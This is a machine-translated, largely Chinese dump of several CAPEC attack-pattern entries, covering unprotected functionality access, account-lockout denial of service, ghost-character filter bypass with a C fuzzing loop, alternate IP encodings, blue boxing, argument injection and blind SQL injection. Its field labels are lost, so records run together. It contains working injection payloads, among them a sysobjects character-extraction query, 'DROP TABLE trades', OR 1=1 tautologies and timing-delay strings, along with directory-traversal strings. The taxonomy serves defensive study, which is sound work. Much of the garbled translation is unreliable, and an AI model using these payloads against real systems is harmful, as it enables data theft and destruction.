在应用程序,特别是web应用程序,访问功能由授权框架,减轻他们的工作是将acl映射到元素的应用程序的功能;特别是web应用程序的URL。在应用程序部署人员未能指定特定元素的ACL,攻击者可以访问它不受惩罚。攻击者的能力受到不当acl访问功能可以获得敏感信息并可能危及整个应用程序。这样攻击者可以访问资源,必须只提供给用户高特权级别,可以访问管理应用程序的某些部分或运行查询数据,否则他是不应该。 调查 攻击者调查目标应用程序,这可能是一个有效的和经过身份验证的用户 搜索所有可用的链接网站 env-Web 蛮力资源名的猜测 env-All 蛮力猜测用户名/凭证 env-All 蛮力猜测函数名/行动 env-All acl或其他访问控制机制存在于软件 env-Web env-ClientServer 用户id或其他凭证存在于软件 env-Web env-ClientServer 具有不同权限的操作模式在软件 env-ClientServer env-Local env-Embedded 识别功能 在每个步骤中,攻击者指出资源或功能访问机制调用执行特定的操作 使用所有形式的网络库存数据的输入和输入和应用攻击。 env-Web 使用一个包嗅探器捕捉并记录网络流量 env-CommProtocol 在调试器中执行软件和API调用记录到操作系统或重要的图书馆。这可能发生在一个环境以外的生产环境中,为了找到弱点,可以在生产环境中使用。 env-Local env-Embedded 攻击者产生一个功能或数据列表,可以通过系统访问。 遍历访问功能 可能作为一个有效的用户,然后攻击者试图访问的每个指出直接访问机制为了执行功能没有受到acl。 起毛API参数(URL参数,操作系统API参数,协议参数) env-Web env-Local env-Embedded env-ClientServer 尝试创建一个目录的访问机制和数据都以失败告终。 env-All 功能是未经授权的用户访问。 应用程序必须通航的方式关联元素与acl(部分)的应用程序。 各种资源,或者个人网址,必须以某种方式被攻击者发现 部署人员必须忘了把ACL或关联一个不当宽容与特定通航ACL的资源。 非常高的 分析 蛮力 实现在Java EE的Servlet模型-视图-控制器(MVC)模式使用一种“单一前端控制器”模式,要求代理HTTP请求身份验证之前交接给其他行动Servlet。如果没有安全约束放在这些行动servlet、积极,这样没有人能访问它们,前端控制器可以颠覆。 低:为了发现无限制的资源,攻击者不需要特殊的工具或技能。他只有观察资源或访问机制调用执行每个操作,然后试着直接访问这些访问机制。 不需要特殊的资源利用的模式。 在web应用程序中,使用蜘蛛或其它爬行软件可以允许攻击者搜索访问页面不受制于安全约束。 更一般的,注意目标资源访问执行特定操作驱动的理解从当前上下文访问的资源。 在J2EE环境中,部署人员可以将角色授予用户的身份是不可能的,如“NoAccess”,与所有的servlet访问守卫的有限数量的servlet,可见和可访问的用户。既然如此,任何直接访问这些servlet将禁止web容器的保护。在更一般的环境中,部署人员必须标记每个资源除了应该接触的用户所访问的用户无法假设。默认的安全设置必须拒绝然后只授权访问这些资源的访问目的的业务逻辑。 特权升级 的背景下,这种模式的适用性是最有可能的基于web的应用程序,一个授权框架。 285年 有针对性的 276年 有针对性的 693年 有针对性的 721年 有针对性的 无法访问所有资源必须限制默认其次是选择性地允许访问资源由应用程序和业务逻辑 除了一个中央控制器,每个资源也必须限制,只要有可能,传入的访问是由相关的ACL。 没有安全 最小特权 不愿相信 完整的中介 正确使用授权机制 正确设计配置子系统和分发安全的默认配置 渗透 媒介 所有 所有 所有 所有 约翰·史蒂文 Cigital公司 2007-02-10 最初的核心模式内容 Chiradeep b Chhaya Cigital公司 2007-02-23 充实模式与额外的内容 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致攻击执行流的变化,攻击先决条件,实例和解决方案 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 帕科希望 Cigital公司。 2007-10-20 添加扩展攻击执行流 攻击者利用系统的安全功能,旨在遏制潜在攻击发起拒绝服务攻击一个合法的系统用户。许多系统,例如,实现节流机制,锁一个帐户密码后一定数量的错误登录尝试。攻击者可以利用这种调节机制来锁定一个合法用户的自己的帐户。被攻击者利用的弱点已经到位的安全特性来抵消攻击。 帐户锁定系统的行为进行调查 调查安全特性的系统,可能会触发一个帐户锁定 分析系统文档以查找列表的事件可能会导致帐户锁定 env-Web env-ClientServer env-Local env-Embedded 获取用户帐号在系统和试图锁定它通过发送重复畸形的或不正确的数据 env-Web env-ClientServer env-Local env-Embedded 确定另一个用户的登录ID,并试图暴力破解它的密码(或其他凭证)预定的次数,或者直到系统提供了一个指示,账户就会被锁定。 env-Web env-ClientServer env-Local env-Embedded 系统提供错误消息说明账户被攻击锁定。 env-Web env-ClientServer env-Local env-Embedded 经过一定数量的与一个给定的用户ID登录尝试,需要对系统的时间响应进一步大大登录尝试改变。 env-Web env-ClientServer env-Local env-Embedded 系统没有自动注册机制,系统没有提供指示是否攻击者进入是不正确的凭证或帐户被锁定在登录过程。 env-Web env-ClientServer env-Local env-Embedded 攻击者确定至少一种锁定账户。 系统提供不可能表明帐户锁定 应用程序/系统日志中重复失败的登录尝试。 不提供任何指示用户,他们的账户都是锁着的。提供一个简单的错误消息,如:“登录失败。再试一次或联系管理员”无论登录尝试失败的原因。 获得锁定用户帐户列表 生成一个有效的用户账户锁定列表 使用另一个攻击模式获得的授权用户列表,如SQL注入。 env-Web env-ClientServer env-Local env-Embedded 尝试创建帐户如果可能的话;系统应该显示是否已采取一个用户ID。 env-Web env-ClientServer env-Local env-Embedded 试图暴力破解用户ID,如果系统显示是否一个给定的用户ID是有效的在失败的登录尝试。 env-Web env-ClientServer env-Local env-Embedded 系统显示该用户id是有效的,哪些是不要未经身份验证的用户。 env-Web env-ClientServer env-Local env-Embedded 攻击者收集的用户id列表 攻击者无法收集有效的用户id列表;攻击者仍然可以锁住帐户由盲目猜测用户id和执行锁定和每一个过程。 避免提供任何指示关于用户id的有效性在失败的登录尝试。提供一个简单的错误消息,如:“登录失败。再试一次或联系管理员”无论登录尝试失败的原因。 锁定账户 执行锁定程序所有攻击者想要锁定账户。 为每一个用户ID被锁定,执行锁定过程中发现的第一步。 env-Web env-ClientServer env-Local env-Embedded 成功第一步的结果 env-Web env-ClientServer env-Local env-Embedded 在第一步失败的结果 env-Web env-ClientServer env-Local env-Embedded 攻击者的工作量要求锁定大量账户至少一个数量级小于解锁账户所需的工作量。 攻击者所需的大量的工作锁定大量帐户使这一个没有吸引力的攻击。 系统有一个锁定机制。 攻击者必须能够繁殖行为将导致帐户被锁定。 媒介 API滥用 洪水 蛮力 这种类型的一个著名的例子是eBay攻击的攻击。eBay总是显示的用户id,出价最高的人。在拍卖的最后一分钟,一个竞拍者可以尝试登录的三次出价最高的人。三次错误的登录之后,eBay密码节流会踢和锁定出价最高的账户在一段时间内。攻击者可以使自己的出价和受害者不会有机会把出价,因为他们将被锁定。因此,攻击者可以赢得拍卖。 计算机访问目标系统的登录部分 实现智能密码节流机制如那些考虑到IP地址,除了登录名。 在实现安全特性,考虑如何被滥用,打开自己。 拒绝服务 400年 二次 尤金Lebanidze Cigital公司 2007-02-26 肖恩·巴纳姆 Cigital公司 2007-03-01 审查和修订的内容 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的名称、描述和解决方案 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 阿米特·塞提 Cigital公司。 2007-10-29 添加扩展攻击执行流 攻击者故意介绍主要人物,使输入的过滤器。领先的API,忽略了“鬼”的角色,因此攻击者的输入过程。这发生在合适的API将接受输入数据在几个语法形式和等效语义的方式解释它,而过滤器没有考虑全面的语法形式接受合适的API。一些api将剥夺某些领导人物从一个字符串参数。也许这些字符被认为是多余的,因为这个原因他们删除。另一种可能性是解析器逻辑分析初是一家专业以某种方式,导致一些字符被删除。攻击者可以指定多个类型的替代编码的字符串作为一组调查。一个常用的可能性涉及添加鬼characters-extra字符不影响请求的有效性在API层。如果攻击者可以访问API库目标,某些攻击的想法可以直接测试。一旦选择鬼编码通过测试出现,攻击者可以从实验室测试API测试实际的服务实现。 确定源代码可用,如果是这样的话,检查过滤逻辑。 如果源代码不可用,写一个小程序,循环通过各种可能的输入给定的API调用和尝试各种备用(但等效)鬼字符编码的字符串。知识框架和库的使用和他们过滤器应用将有助于使这个搜索更加结构化的。 观察效果。看看探测器通过过滤器。识别一个字符串,语义上等价于攻击者想通过有针对性的API,但语法结构的方式,通过输入滤波器。编码将包含某些鬼角色,这将有助于它通过过滤器。这些鬼字符将被忽略的有针对性的API。 一旦“获胜”交替使用(通常领先)鬼字符编码标识,攻击者可以启动攻击目标的API(例如目录遍历攻击,arbitrarary shell命令执行,腐败的文件) 网游API必须忽略主要鬼字符,用于通过过滤器的语义是相同的。 媒介 媒介 注射 API滥用 替代编码与鬼FTP和Web服务器中的一些Web和FTP服务器无法检测禁止向上目录遍历如果用户提供的路径名包含额外的字符,如额外的主要点。例如,一个程序,将不允许访问路径名“. . /测试。txt”可能错误地允许访问这个文件如果路径名指定为“…/用法”。这种攻击成功,因为1)输入验证逻辑失败检测triple-dot作为一个目录遍历(因为它不是圆点),2)部分输入的处理决定去掉“额外”点,离开背后的圆点。使用文件系统API作为目标,下面的字符串都相当于许多程序:…/ . . / . . /测试。txt ............ / . . / . . /测试。txt . . / . . / . . /测试。txt . . ? ? ? ? ? ? ? ? / . . / . . /测试。txt . . /测试。txt正如你所看到的,有很多方法可以使一个语义上等价的请求。所有这些字符串最终导致请求文件. . /用法。 媒介 进行白名单而不是黑名单输入验证。 规范化之前所有的数据验证。 采取迭代的方法输入验证(深度防御)。 特权升级 数据修改 构建“等效”请求大量的命令解析或过滤。在许多情况下一个过滤器只考虑一个特定的格式命令的方法。事实是,相同的命令通常可以编码在成千上万的不同方式。在许多情况下,另一个编码的命令将产生相同的结果与原始命令。因此,两个命令看起来不同于一个过滤器的逻辑角度最终生产相同的语义。在许多情况下,一个编码或者命令可以用来攻击软件系统,因为替代命令允许攻击者执行一个操作,否则将会被阻塞。API层映射一个好的方法来帮助识别和地图可能替代编码包括编写一个小程序,遍历所有可能的输入给定的API调用。这个程序可以为例,试图对文件名进行编码以多种方式。每次迭代的循环,“mungified”文件名可以传递给API调用和结果。下面的代码片段循环通过许多可能的值,可以用作前缀字符串\用法。 Results of running a program like this can help us to determine which characters can be used to perform a ../../ (dots and slashes) relative traversal attack. int main(int argc, char* argv[]) { for(unsigned long c=0x01010101;c != -1;c++) { char _filepath[255]; sprintf(_filepath, "%c%c%c%c\\test.txt", c >> 24, c >> 16, c >> 8, c&0x000000FF ); try { FILE *in_file = fopen(_filepath, "r"); if(in_file) { printf("checking path %s\n", _filepath); puts("file opened!"); getchar(); fclose(in_file); } } catch(...) { } } return 0; } Slight (but still automatic) modifications can be made to the string in creative ways. Ultimately, the modified string boils down to an attempt to use different tricks to obtain the same file. For example, one resulting attempt might try a command like this: sprintf(_filepath, "..%c\\..%c\\..%c\\..%c\\scans2.txt", c, c, c, c); A good way to think about this problem is to think of layers. The API call layer is what the examples shown here are mapping. If an engineer has placed any filters in front of the API call, then these filters can be considered additional layers, wrapping the original set of possibilities. By pondering all the possible inputs that can be provided at the API layer, we can begin uncovering and exercising any filters that the software has in place. If we know that the software definitely uses file API calls, we can try all kinds of filename encoding tricks that we know about. If we get lucky, eventually one set of encoding tricks will work, and we can get our data successfully through the filters and into the API call. Drawing on the techniques described in Chapter 5 of "Exploiting Software: How to Break Code" (See reference - G. Hoglund and G. McGraw) , we can list a number of possible escape codes that can be injected into API calls (many of which help with the filter avoidance problem). If the data are eventually being piped into a shell, for example, we might be able to get control codes to take effect. A particular call may write data to a file or a stream that are eventually meant to be viewed on a terminal or in a client program. As a simple example, the following string contains two backspace characters that are very likely to show up in the terminal’s execution: write("echo hey!\x08\x08"); When the terminal interprets the data we have passed in, the output will be missing the last two characters of the original string. This kind of trick has been used for ages to corrupt data in log files. Log files capture all kinds of data about a transaction. It may be possible to insert NULL characters (for example, %00 or '\0') or to add so many extra characters to the string that the request is truncated in the log. Imagine a request that has more than a thousand extra characters tacked on at the end. Ultimately, the string may be trimmed in the log file, and the important telltale data that expose an attack will be lost. Ghost Characters Ghost characters are extra characters that can be added to a request. The extra characters are designed not to affect the validity of the request. One easy example involves adding extra slashes to a filename. In many cases, the strings /some/directory/test.txt and /////////////////some/////////////directory//////////////test.txt are equivalent requests. From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Web表单、URL、网络套接字文件 有效负载的参数是攻击者提供合适的API,允许攻击者提升特权和破坏授权服务。 合适的API是激活区。这些攻击通常目标文件系统或shell执行命令。 授权服务的失败可能导致数据机密性和完整性的妥协。 173年 有针对性的 41 有针对性的 172年 有针对性的 171年 有针对性的 179年 有针对性的 180年 有针对性的 181年 二次 183年 二次 184年 二次 20. 有针对性的 74年 有针对性的 697年 有针对性的 707年 有针对性的 深度防御 不愿相信 最小特权 执行输入验证和过滤数据的规范形式。 理解的api用户输入将被传递和知道如何宽容。执行适当的输入验证信息。 剥削 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 尤金Lebanidze Cigital公司 2007-02-26 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致改变名字,攻击执行流和例子 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种攻击依赖于攻击者使用意想不到的格式表示IP地址。网络应用程序可能希望网络位置信息在一个特定的格式,如完全限定域名名称,网址,IP地址或IP地址范围。攻击者可以利用这个问题就是这些设计假设进行验证与各种不同的不可能的编码格式和网络地址位置。使用命名为创建政策名称空间管理的应用程序直接访问控制可能容易queryin IP地址,这最终是一个更一般的权威的网络上的沟通方式。选择IP地址可以被攻击者绕过使用应用程序访问控制以获得数据,只是保护遮蔽它的位置。除了这种类型的攻击可以用作侦察mechansim提供入口点信息,攻击者收集更深入探索系统。 目标软件必须未能预见到所有可能的有效编码的IP / web地址。 媒介 注射 协议处理 API滥用 攻击者识别应用服务器,应用安全策略基于域和应用程序名称,所以访问控制策略包括身份验证和授权的任何人访问http://example.domain: 8080 /应用程序。然而,通过将IP地址的主机应用程序的身份验证和授权控制可能绕过http://192.168.0.1:8080应用程序。攻击者依赖于受害者将策略应用到名称空间抽象和没有一个默认的否认政策管理例外。 低→攻击者只有尝试IP地址的组合。 与服务器通信的能力。可选地,能够捕获输出直接通过同步通信或其他方法如FTP。 设计:默认拒绝访问控制策略 设计:输入验证例程应该检查和执行输入数据类型和内容对积极的规范。关于IP地址,这应该包括应用程序的授权的方式来表示IP地址和不接受用户指定IP地址和IP地址格式(比如范围) 实现:对所有远程执行输入验证的内容。 特权升级 攻击模式:选择IP地址”IP地址范围可以使用替代方法。下面是一些例子:192.168.0.0 / 24 192.168.0.0/255.255.255.0填写。*经典编码技术可以针对IP数字。”(霍格伦德和McGraw 04) 恶意输入通过标准输入 随攻击模式的实例化。恶意代码可以通过直接从多线程客户,如web浏览器。 客户端机器和客户网络 使攻击者可以查看和访问意想不到的网络服务。 291年 有针对性的 180年 有针对性的 41 有针对性的 345年 有针对性的 697年 有针对性的 707年 有针对性的 渗透 媒介 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致改变名字,攻击先决条件、所需资源和攻击的方法 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这攻击老电话交换机和树干已经存在了几十年。攻击者发送的信号是模拟一个主管的信号。这重路由的影响或篡夺命令行和电话。而美国基础设施的可能不包含广泛的这种类型的攻击漏洞,许多公司通过呼叫中心和连接全球业务流程外包。这些国际系统可以在没有升级的国家电信基础设施,因此容易受到蓝色拳击。蓝色的拳击是一项失败的结果执行强认证的系统管理功能。虽然基础设施是不同于标准的当前应用程序和web应用程序一样,有hisotrical教训升级管理功能的访问控制。 管理功能的系统必须使用弱身份验证机制。 非常高的 媒介 注射 协议处理 攻击者识别一个脆弱CCITT-5电话,发送一个结合音开关以请求管理访问权限。根据音调和时间参数的验证请求访问开关。一旦攻击者获得了控制开关启动调用,路由电话,和一大堆的机会。 低:给定一个脆弱的电话系统,攻击者的技术媒介依赖攻击在饼干里有清楚的记录的杂志和已经存在了几十年。 CCITT-5或其他脆弱的线,有能力把音调等结合2400 Hz, 2600 Hz音调开关 实现:升级电话线路。注意这可能是非常昂贵 使用强两个因素的访问控制等访问控制adminsitrative访问开关 拒绝服务 特权升级 “攻击模式:模拟带内切换信号(又名“蓝拳”)很多人都听说过2600年,在美国使用的频率来控制电话交换机在1970年代和1960年代。(我想起来了,可能更多的人听说过黑客的杂志2600及其相关的俱乐部比听说过俱乐部的名字的原因)大多数系统不再是古代信息容易受到攻击。然而旧系统仍然在国际上发现。使用跨大西洋的海外干线电缆容易带内信号的问题,和他们太昂贵的资源放弃。因此,许多海外(母国)直接800/888数字是已知带内信号问题即使在今天。考虑到CCITT-5 (C5)在国际上使用的信号系统。这个系统不使用俗称2600 Hz,而是使用2400 Hz作为控制信号。如果你有听说过平克·弗洛伊德的“pleeps”和啾啾专辑“墙”,你听说过C5信号。有数百万的电话线至今仍在运行的路由与带内信号通过开关。这种攻击模式涉及到在特定的控制命令在一个正常的声音链接,从而抓住控制线路,重新调用,等等。” [Hoglund and McGraw 04] 有效载荷通过标准的通信协议。 命令(s)直接在主机执行 客户端机器和客户网络 允许调用路线。 264年 有针对性的 渗透 媒介 媒介 其他 其他 其他 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 这种类型的攻击利用程序的漏洞,允许攻击者的命令直接或间接应用作为参数,例如shell命令。这可能允许攻击者访问文件、网络资源、媒体,总之任何通过shell来访问。参数注入攻击使用公开的服务或方法作为跳板来调用其他程序。如果服务不验证或过滤输入数据然后授权访问客户端程序执行命令使用服务器的权限。可以附加到标准输入操作系统命令外壳程序,HTTP请求和XML消息。调用命令的能力未必足以让攻击者收集的输出攻击。这可能是也可能不是一个问题根据攻击者的目标。 目标软件无法地带的所有用户提供的输入任何内容,可能导致shell执行意想不到的行为。 软件必须允许用户执行或未经过过滤的输入操作系统shell,,另外,系统配置允许输出必须发送回客户端。 注射 最近的一个例子的实例论证注入发生针对Java Web Start技术,简化了客户端部署的Java程序。JNLP文件用于描述程序的属性。客户端Java运行时属性设置的参数用于定义执行参数,但是如果攻击者附加命令一个合法的属性文件,然后这些命令被发送到客户端命令shell。源http://www.securityfocus.com/archive/1/393696 媒介→攻击者必须确定注入向量,确定操作系统特定的命令,有选择地收集输出。 沟通能力与服务器同步或异步。可选地,能够捕获输出直接通过同步通信或其他方法如FTP。 设计:不要程序输入值直接在命令shell,而不是把用户输入视为有罪推定。建立一个函数,它接受用户输入并将其转换为应用程序特定的类型和值,剥离或过滤掉所有未经授权的命令和字符。 设计:限制程序的特权,所以如果metacharcters或其他方法绕过程序输入验证例程和shell访问获得没有特权帐户下运行。chroot监狱为应用程序创建一个沙箱中执行,使攻击者更难提升特权甚至妥协的情况下发生。 实现:实现一个审计日志写入到一个单独的主机,如果妥协审计日志可以提供证据和细节的妥协。 特权升级 数据修改 信息泄漏 “攻击模式:参数注入”用户输入直接粘贴到一个shell命令的参数。许多第三方程序允许透传一个shell很少或根本没有过滤。”(霍格伦德和McGraw 04) 恶意输入通过标准输入,攻击者插入附加参数对应用程序的标准接口 随攻击模式的实例化。恶意负载命令通过有效的目的或供应元字符导致意外终止shell重定向 客户端机器和客户端网络(e . .g内部网) 使攻击者能够与任何命令,执行服务器端代码程序所有者拥有的特权,这是特别有问题的担忧是史无前例的时候运行作为一个系统或特权帐户。 77年 有针对性的 146年 有针对性的 184年 有针对性的 78年 有针对性的 185年 有针对性的 713年 有针对性的 697年 有针对性的 从不使用输入指令的任何内部组件 渗透 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致攻击先决条件的变化和相关的指导方针 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 盲目的SQL注入的结果从一个缓解对SQL注入不足。尽管抑制数据库错误消息被认为是最佳实践,压制本身并不足以防止SQL注入。盲目的SQL注入是SQL注入的一种形式,克服了缺乏错误消息。没有错误信息,便于SQL注入,攻击者构造输入字符串探测目标通过简单的布尔SQL表达式。攻击者可以确定注射成功的基于语法和结构是否查询被执行死刑。应用迭代,攻击者决定,目标是容易受到SQL注入。为了实现这个使用SQL盲注,攻击者:例如,攻击者可能会进入“用户名”和1 = 1;——“在一个输入字段。如果结果是一样的,当攻击者进入“用户名”字段,那么攻击者知道应用程序很容易受到SQL注入。攻击者可以问是/否的问题从数据库服务器来提取信息。 For example, the attacker can extract table names from a database using the following types of queries: "username' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 108". If the above query executes properly, then the attacker knows that the first character in a table name in the database is a letter between m and z. If it doesn't, then the attacker knows that the character must be between a and l (assuming of course that table names only contain alphabetic characters). By performing a binary search on all character positions, the attacker can determine all table names in the database. Subsequently, the attacker may execute an actual attack and send something like: "username'; DROP TABLE trades; -- 假设在应用程序的SQL查询 关于应用程序中的SQL查询生成的假设。例如,攻击者可能假设他将直接通过输入一个查询,看起来就像:“SELECT * FROM订单ordernum = _____”或“SELECT * FROM订单ordernum(_____)”或“SELECT * FROM订单ordernum(_____)顺序由_____”当然,还有许多其他的可能性。 研究类型的SQL查询和确定哪些应用程序可以在不同的地方。 env-All 决定如何注入信息查询 决定如何注入信息查询等前一步,注射并不影响他们的逻辑。例如,以下是可能的注射这些查询:“5 ' OR 1 = 1;——”和“5)或1 = 1;——“和“ordernum DESC;——“ 子句添加到SQL查询,查询逻辑并没有改变。 env-All 延迟添加到SQL查询,以防服务器不提供明确的错误信息(例如等待延迟“0:0:10”SQL server或基准(1000000000,MD5(1)在MySQL)。如果这些可以注入到查询,那么需要的时间服务器响应显示查询是否注射。 env-All 至少完成一个假设的SQL查询的一种方法,将违反application developer的假设。 确定用户可控输入容易注入 确定用户可控输入容易注入。为每个用户可控输入容易受到SQL注入攻击者怀疑,试图注入前一步中确定的值。如果没有发生错误,那么攻击者知道SQL注入成功。 使用web浏览器将输入文本字段或通过HTTP GET参数。 env-Web 使用一个web应用程序调试工具如篡改数据,TamperIE, WebScarab,等等。修改HTTP POST参数,隐藏字段,non-freeform字段等。 env-Web 使用网络级数据包注入工具如netcat注入输入 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 使用修改客户端(由逆向工程修改)注入输入。 env-ClientServer env-Peer2Peer env-CommProtocol 攻击者从服务器接收正常反应。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 响应将预期的时间延迟后注入。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 服务器发送一个特定的错误消息表明编程解析输入的数据(例如NumberFormatException) env-Web env-ClientServer env-Peer2Peer env-CommProtocol 至少有一个用户可控输入容易注入发现。 没有发现用户可控输入容易注入。 不寻常的查询等的描述在前面的步骤中,在应用程序日志。日志文件可能包含不寻常的信息,如“用户bob ' OR 1 = 1;——登录”。运营商应该提醒当这样的SQL命令出现在日志中。 输入验证的用户控制数据之前包括SQL查询 使用api,帮助减少SQL注入(比如Java PreparedStatement的) 判断数据库类型 决定数据库的类型,如MS SQL Server或Oracle或MySQL,使用逻辑条件的一部分注入查询 尝试将一个字符串包含字符(0 x31) =字符(0 x31)(这评估仅在SQL Server 1 = 1) env-Web env-ClientServer env-Peer2Peer env-CommProtocol 尝试将一个字符串包含0 x313d31(这个评估在MySQL 1 = 1只) env-Web env-ClientServer env-Peer2Peer env-CommProtocol 注入其他特定于数据库的命令输入字段容易受到SQL注入。攻击者可以确定类型的数据库通过检查运行是否成功执行的查询(即定单的攻击者获得一个正常的响应从服务器或不是)。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 在前一步成功的结果 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 上一步的结果失败 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 数据库平台在使用中发现。 数据库平台在使用中没有发现。 提取信息的数据库模式 提取信息的数据库模式的数据库模式回答是的/没有什么问题了。 自动提取数据库模式使用工具如苦艾酒。 env-Web 手动执行SQL盲注中提取想要的数据库模式的信息。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 在前一步成功的结果。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 上一步的结果失败。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 数据库模式中提取所需的信息。 数据库模式不能提取所需的信息。 大量的不寻常的查询在数据库日志。 利用SQL注入漏洞 在前面的步骤中使用的信息成功地注入数据库为了绕过检查或修改,添加、检索或从数据库中删除数据 使用信息如何注入命令的SQL查询以及信息数据库模式来执行攻击例如删除表,插入记录,等等。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 在前一步成功的结果。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 上一步的结果失败。 env-Web env-ClientServer env-Peer2Peer env-CommProtocol 攻击者实现的目标系统的未经授权的访问、拒绝服务等。 攻击者不能利用信息收集的SQL注入视而不见 SQL查询应用程序使用的存储、检索或修改数据。 用户可控输入不正确验证应用程序SQL查询的一部分。 注射 分析 在PHP应用程序时间表1.1中,攻击者可以成功地从数据库中检索用户名和密码散列使用SQL盲注。如果攻击者意识到本地路径结构,攻击者还可以远程执行任意代码和写注入查询的输出到本地路径。SQL盲注可能是由于应用程序不正确清洁$ _POST['用户名']变量在登录。php文件。 cve - 2006 - 4705 中期确定数据库类型和版本,以及正确的数量和类型参数查询被注入没有错误消息需要技能比逆向工程数据库错误消息。 没有一个 为了确定正确的语法查询注入,攻击者试图确定查询正确的参数的数量和类型。这是通过制定条件,导致从数据库中一个真/假的答案。如果逻辑条件为真,那么数据库将执行的查询。如果没有,一个自定义的错误页面或返回一个默认页面。另一种方法是问这样的真/假问题的数据库,请注意查询的响应时间逻辑上真正的条件和一个错误条件。 成功的唯一指标盲目SQL注入应用程序或数据库日志显示相似查询稍微不同的逻辑条件,随着时间的推移增加复杂性。然而,这需要大量的日志以及知识的查询,可以用来执行这样的注入和从数据库返回有意义的信息。 晦涩的安全性并不是一个解决方案来防止SQL注入。而不是抑制错误消息和异常,应用程序必须处理他们优雅,返回一个自定义的错误页面或重定向用户的默认页面,不透露任何有关数据库或应用程序内部的信息。 强大的输入验证,所有用户可控的输入必须验证和过滤非法字符以及SQL内容。关键字如工会、选择或插入必须过滤除字符如单引号(')或sql注释(——)基于上下文的出现。 数据修改 信息泄漏 运行任意代码 攻击者尝试SQL注入在传统SQL盲注不可能是由于抑制错误消息。盲目的执行SQL注入等附加逻辑条件查询被注入,他们评估或真或假的数据存储在数据库中。第一步是获得正确的注射查询的语法。例如,考虑一个数据库的表命名为“用户”。考虑以下查询:选择帧,lname,强加于人,ssn,来自用户的地址,用户id = " user1和密码=“user1pwd”;确定“标识”字段是否注射,攻击者尝试输入如user1”和3 > 1 + 1;——这将导致以下查询选择帧,lname,强加于人,ssn,地址从用户的用户id = " user1”和3 > 1 + 1;——被传递到数据库。如果参数是注射,数据库评估3 > 1 + 1是正确的并执行查询。另一方面,如果一个条件如3 < 2通过数据库将返回一个错误。由于应用程序抑制此类错误,攻击者永远不会看到它。然而,应用程序会挂起或它可能会重定向到一个自定义的错误页面或一个默认页面,这绝对是一个迹象表明,注入的条件评估是假的。 The query can also fail if the original condition was within parentheses, such as WHERE (userid="johns" AND password="abracadabra") In such a case, the attacker will have to try injection such that the parentheses match up. Once the attacker gets the syntax right, the next step is to identify the database. This can be achieved by using operators that are unique to each database engine. For example, a condition such as "abc" = "a"+"bc" evaluates to true on MS SQL Server whereas it evaluates to false on Oracle since the concatentation operator is ||. Another approach is using system-specific functions such as those for date and time. The next step is to determine the number and type of parameters. This can again be achieved by exploiting the SELECT...WHERE conditions or using UNION SELECT statements with dummy numeric or character-based parameters. Once the type of database as well as the structure of the query has been mapped out by asking a number of questions to the database, the attacker is in a position to inject the database and extract information from it. Blind SQL Injection is a classic example of solution by reduction where the domain to be attacked is successively narrowed down by the attacker through true or false queries to the database. 用户可控输入到应用程序 SQL语句打算绕过检查或检索的信息数据库 后端数据库 注入的SQL语句,它们导致真/假对数据库的查询。如果数据库逻辑上正确评估一个声明,它与请求的响应数据。如果条件评估是逻辑错误,返回一个错误。每次攻击者修改布尔条件从数据库中获得信息。 89年 有针对性的 209年 有针对性的 74年 二次 20. 二次 390年 二次 697年 二次 713年 二次 707年 二次 66年 偶尔之前 自定义错误页面必须用于处理异常,这样他们不会透露任何信息的体系结构的应用程序或数据库。 在用户可控输入特殊字符必须在使用应用程序之前逃走了。 使用应用程序级保障来过滤数据和处理异常优雅。 不愿相信 没有安全 深度防御 从不使用输入指令的任何内部组件 安全处理所有错误 渗透 所有 所有 所有 所有 CWE——输入验证 CWE——错误处理不当 Chiradeep B Chhaya 2007-02-22 第三个模式v1.4 -修订草案 马利克Hamro Cigital公司 2007-02-27 重新格式化新模式和审查 肖恩·巴纳姆 Cigital公司 